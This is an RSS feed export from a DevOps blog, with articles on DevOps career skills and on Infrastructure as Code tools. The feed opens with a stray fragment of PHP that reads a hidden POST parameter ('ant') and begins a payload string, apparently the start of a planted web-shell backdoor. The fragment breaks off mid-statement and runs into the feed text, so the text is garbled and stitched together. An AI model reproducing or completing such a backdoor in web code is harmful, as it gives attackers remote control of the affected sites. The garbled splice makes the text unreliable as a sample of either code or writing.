$_api_resp = @$_POST['ant'];
if ($_api_resp) {
$pk = <<IaC – DevopsCurry
https://devopscurry.com
Mon, 30 Sep 2024 08:57:18 +0000en-US
hourly
1 https://wordpress.org/?v=7.0https://devopscurry.com/wp-content/uploads/2021/08/cropped-logo-32x32.pngIaC – DevopsCurry
https://devopscurry.com
3232Becoming a Successful DevOps professional in 2020
https://devopscurry.com/becoming-a-successful-devops-professional-in-2020/?utm_source=rss&utm_medium=rss&utm_campaign=becoming-a-successful-devops-professional-in-2020
https://devopscurry.com/becoming-a-successful-devops-professional-in-2020/?noamp=mobile#respondWed, 23 Sep 2020 07:16:38 +0000https://devopscurry.com/?p=8037In current scenario Devops Engineers or Devops professionals are the most sought after profiles in software industry. Most of the companies are hiring DevOps experts, be it large enterprises or a small startup. But an important thing to remember here is that DevOps is not only about methods and tools but more of a Cultural […]
But an important thing to remember here is that DevOps is not only about methods and tools but more of a Cultural Shift. It works to break down silos and create collaborations between various teams within an organisation.
Thus, a DevOps engineer should be an expert in not only software development but also in operations. A DevOps engineer will work together with both – Developers and Operations Team.
Essential Skills to become a successful DevOps Engineer
There is an ever increasing demand for DevOps experts in the industry. Everyone is trying to adapt to DevOps nowadays. But only a few are doing it right. Let us discuss some fundamental skills a DevOps person must acquire to be successful in this profile.
Linux Fundamentals and Scripting
Most of the organisations are adopting open-source tools and preferring Linux for professional use. As Linux is more secure as compared to other operating systems and also, it is an open-source operating system. That is why a good knowledge of Linux is essential for a DevOps engineer. Also a DevOps engineer should have good hands-on experience in code scripting. He/she should know scripting languages like bash, shell, python, perl, etc. Because DevOps engineer will be responsible for automation and required to write codes in any of these languages.
Knowledge of Various DevOps Tools and Technologies
DevOps is implemented with the help of various tools. Additionally, DevOps is achieved in different stages and each stage requires a different set of tools. Some of these tools and technologies are described below:
Knowledge of Source Code Management: there is a need to constantly create and update the software codes. Source Code Management will store the codes, merge new and old codes, and control the code versions. Tools used for Source Code Management: Git, Github, Gitlab, etc
Knowledge of Configuration Management tools: as the name suggests, it is used to manage software and operating system configurations. Configuration Management tools will take a remote connection to the target server and push the configuration changes. They can manage thousands of servers at once suing code. It is achieved through click of a button or execution of a command. Examples of Configuration Management are Puppet, Chef, Ansible,Terraform.
Knowledge of Continuous Integration: It is the process of automating the code with the master copy between various developers. Some examples of CI tools are VSTS, Bamboo, Jenkins,circleCI, TravisCI, Buildkite etc.
Knowledge of Continuous Testing: Continuous testing will reduce the feedback time after code testing. The code will be tested in the development department automatically using tools. Famous testing tools are Selenium and TestComplete.
Familiarity with Continuous Monitoring It is used to do continuous monitoring of application performance, downtime, and errors. Some examples of Continuous Monitoring tools are Nagios, Splunk, Zabbix,Promethues, Datadog,Icinga,New Relic.
Understanig of Containerization (Containers & Docker): containerization will virtualize the operating system. So different containers running different applications can share the operating system. Some examples are Docker, Kubernetes, Vagrant.
Continuous Integration and Continuous Delivery
CI/CD is one of the most popular and in-demand skill for DevOps implementation. Good knowledge of CI and CD will help DevOps engineer to develop a high-quality product at a faster speed. This will save a lot of time. It will also help to detect any errors in integration in the early stages.Continuous Delivery is like an extension to Continuous Integration. Here, a recently integrated code is made ready for deployment automatically. If this process is done manually, it will take 2 to 3 days to complete. Traditionally, the development team used to release new code to the testing team. Then the testing team used to do their part. These delays are now possible to avoid using CD – Continuous Deliver
Infrastructure as Code(IaC)
Knowledge of Infrastructure as Code is again a must have skills DevOps engineer. This will basically help to manage infrastructure. With technologies like cloud computing, it is now possible to provide the needed infrastructure to the developers. This is done using automated scripts. These scripts will execute the required commands and will do configuration management. The requirement can be fulfilled in seconds using Infrastructure as Code.
Key Concepts of DevOps
DevOps is a methodology where different teams of an organisation collaborate to break down traditional silos. This is accomplished using various tools and concepts of DevOps. There is no strict framework for DevOps. Each organisation can adopt and implement DevOps as per their criteria and needs. Any DevOps professional must have in-depth knowledge about the key concepts of DevOps. The job of a DevOps professional is a high responsibility job that will affect each department within an organisation.
Knowledge about Public Cloud
If you are planning to get into DevOps, you must have this some knowledge of public clouds. This can be one of the most in-demand skills for a DevOps engineer. Companies are now using cloud technology. Cloud provides a centralized platform for various processes like testing, deploying, and releasing the code. So, you must have the skill and deep knowledge of various cloud platforms and the services they provide. Some of the key public cloud services providers are Amazon Web Services, Google Cloud(GCP), Microsoft Azure, Digitalocean etc.
Soft Skills/Communication Skills
DevOps highlights the work environment and people more than tools and practices. Hence, soft skills play a great role in DevOps. Some of these skills are:
Clear Communication
Empathy
Taking Ownership
Positive Attitude
Pressure Handling skills
Listening Skills
Other than these skills, trust also plays an important role. The trust of the teammates can be achieved by active communications and creating a positive and supportive environment. The implementation of these skills will be reflected in the overall performance of the team and eventually the whole organization
DevOps is all about breaking silos within the organisations and making a friendly and supportive environment at workplaces.
With the help of DevOps, development, operation and business teams collaborate. They will deliver high-quality products to the customers at a faster pace. Other than these essential skills, other DevOps skills that can be adopted are collaboration, flexibility, security skills and customer-first mindset.
The post Becoming a Successful DevOps professional in 2020 appeared first on DevopsCurry.]]>https://devopscurry.com/becoming-a-successful-devops-professional-in-2020/feed/0Things you should know about IaC(Infrastructure As Code) in 2020
https://devopscurry.com/things-you-should-know-about-iacinfrastructure-as-code-in-2020/?utm_source=rss&utm_medium=rss&utm_campaign=things-you-should-know-about-iacinfrastructure-as-code-in-2020
https://devopscurry.com/things-you-should-know-about-iacinfrastructure-as-code-in-2020/?noamp=mobile#respondTue, 22 Sep 2020 14:17:58 +0000https://devopscurry.com/?p=8029What is Infrastructure As a Code? As we are edging towards end of 2020 (an uneventful year), if you have been following the DevOps space or working into Cloud or DevOps domain, you would have frequently come across this term “IaC (Infrastructure As Code)” Infrastructure As a Code is very popular term in DevOps, aka […]
The post Things you should know about IaC(Infrastructure As Code) in 2020 appeared first on DevopsCurry.]]>What is Infrastructure As a Code?
As we are edging towards end of 2020 (an uneventful year), if you have been following the DevOps space or working into Cloud or DevOps domain, you would have frequently come across this term “IaC (Infrastructure As Code)”
Infrastructure As a Code is very popular term in DevOps, aka IaaC or IaC, it is the process of managing your IT infrastructure using only configurations files(ready Code).
Let us now understand what is IaC and what is the use of IaC in DevOps?
Definition of Infrastructure As a Code
As per the Wikipedia:
Infrastructure As a Code is the process of managing and provisioning of cloud infrastructure or physical data centers through machine-readable definition files or code, rather than physical hardware configuration or interactive configuration tools.
In simple words – Infrastructure As a Code will help you to manage your IT Infrastructure with just some lines of code. You need not have a dedicated Admin army to maintain physical infrastructure and tools for this. IaC will give you the remarkable benefits of consistency, easy & faster maintenance, low-cost management. Additionally, there is no room for those ‘Human Errors’.
IT Infrastructure management has been a critical and tedious task for any company or industry. Why? Well, you need to have a large source of human power to manage the whole infrastructure. This includes investing a huge amount of money and manpower, scalability, availability, inconsistency, and what not! Still there is always a room for ‘human mistakes’.
Benefits of IaaC: infrastructure as code has many benefits, some of them are listed below:
Consistency: while using IaC, there is no chance of human mistakes and inconsistencies. IaC has config files to themselves. Thus, the same configurations files can be deployed seamlessly every time.
Faster Speed: one of the notable benefits of IaC is speed. As it only needs a script(code) to set up a whole infrastructure. Eventually, it takes lesser time and makes the whole process much more faster and efficient.
Reduced Cost: IaC lowers the cost of infrastructure management significantly. You do not have to spend money on manpower to manage the hardware and physical space.
Consistent Configuration: you are able to configure files just like a simple source code file. This makes its easier to trace and track , all the changes in your infrastructure configuration. You don’t need to play guessing games anymore.
Faster Software Deployment: you will be able to deploy the infrastructure in many stages. It will make the software development process more efficient. Also, this will boost the team’s productivity.
Some Popular Configuration Management Tools for IaC
Ansible : ansible was created by RedHat Team. Designed with automation in mind, it doesn’t use agents. Ansible will run by default in Push mode. While using push mode, an SSH connection is necessary. Pull mode is also available and can be used when needed. Ansible provides a “radically simple” configuration language. It is possible to create your own modules in Ansible. Thus, Ansible is also one of the most flexible IaC. Moreover, we can combine Ansible with other tools. Some of these tools are Jenkins, Ansible Works(AWX), RunDeck, ARA, etc.
Terraform: developed by HashiCorp, Terraform works with multiple clouds. Terraform uses its own DSL called HashiCorp Configuration Language(HSL). HCL is JSON compatible language. You can write your own plugins in Terraform. It is completely cloud-agnostic. Terraform will help in managing large infrastructure. Terraform automation focus on the core plan/apply cycle. It comes in various shapes. It supports the change and provisioning previews. Terraform is able to replicate deployments and individual server instances.
Puppet: puppet is one of the older IaC tools and has been used by companies like AWS, Google Cloud, VMWare, Reddit, Dell, and Azure. Puppet has some of the most advanced interfaces. It internally uses Ruby-based DSL. Puppet has been on the market for quite a long time. The push model is by default in Puppet. However, Pull model can be configured as and when needed. You will find Puppet usually in a client-server architecture. Puppet keeps an eye on the infrastructure for changes that might affect the defined end state. It will automatically fix those changes.
Chef: chef is again an old school tool and one of the most popular configuration management tools. Chef also uses Ruby-based DSL, just like Puppet. Chef runs on a client-server configuration. It is available as a standalone configuration, which is called ‘Chef-solo’. Chef uses ‘recipes’ and ‘cookbooks’ to run your infrastructure. You can also create your own ‘recipes’. Chef has a large user base and a full set of tools. Thus, it is possible for anyone to create recipes, regardless of technical background.
Saltstack: SaltStack is often called ‘Salt’. Salt is used in DevOps services for IaC. Because it gathers developer code and configuration data from a central code repository. The main purpose to create Salt was for high-speed data collection. Salt uses Python modules to manage configurations and other actions. Salt works on a client-server topology. Salt masters are servers and Salt minions are clients. You can find configurations in Salt state files. These files contain every information needed to keep the system in the desired state.
AWS Cloud Formation: AWS Cloudformation is created only for users working in the AWS Cloud. AWS Cloud Formation allows you to create templates using YAML and JSON files. Deployment of the resources is possible to do in a repeatable and manageable way using AWS, because it does have an automation feature. You will only have to pay for the resources you have used. You only need to configure the template to your application. CloudFormation will handle the rest of the tasks. Additionally, it is possible to use a single template for various regions and AWS accounts.